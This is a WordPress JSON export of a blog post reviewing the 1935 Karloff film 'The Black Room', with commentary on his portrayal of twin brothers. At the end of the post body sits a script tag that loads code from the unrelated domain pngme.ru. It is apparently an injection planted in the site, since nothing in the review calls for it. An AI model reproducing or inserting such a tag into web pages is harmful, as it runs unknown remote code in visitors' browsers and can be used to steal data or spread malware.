{"id":16169,"date":"2015-07-03T05:11:42","date_gmt":"2015-07-03T11:11:42","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=16169"},"modified":"2015-07-05T07:36:12","modified_gmt":"2015-07-05T13:36:12","slug":"the-black-room-1935","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=16169","title":{"rendered":"The Black Room (1935)"},"content":{"rendered":"<p>The Black Room: 7 out of 10: In the Tim Burton film &#8220;Ed Wood&#8221; Martin Landau&#8217;s Bela Lugosi complains about his rival Boris Karloff continuing to work even though he played Frankenstein which required only grunting under heavy make-up as opposed to accented seductive Dracula.<\/p>\n<p>Well I hate to point this out to a long dead actor but Karloff can really act. The Black Room is a tour de force performance.<\/p>\n<p>Karloff plays three roles (two twins and one twin pretending to be the other) and manages to give them such a distinctive nuanced performances I squinted at the screen to make sure it really was the same actor in the roles.<\/p>\n<p>The story itself is quite a good set-up. With one brother a devilish tyrant with a taste for village girls and the other a slightly fey traveler with a birth defect. Hanging over their head is a family curse that states one brother will kill the other in the titular Black Room.<\/p>\n<p>There are twists and turns and as many reviews have pointed out this is more a costume drama\/mystery than straight horror film. The supporting cast is competent and the sets are well done but this is Karloff&#8217;s show and he runs away with it.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>The Black Room: 7 out of 10: In the Tim Burton film &#8220;Ed Wood&#8221; Martin Landau&#8217;s Bela Lugosi complains about his rival Boris Karloff continuing to work even though he played Frankenstein which required only grunting under heavy make-up as opposed to accented seductive Dracula. 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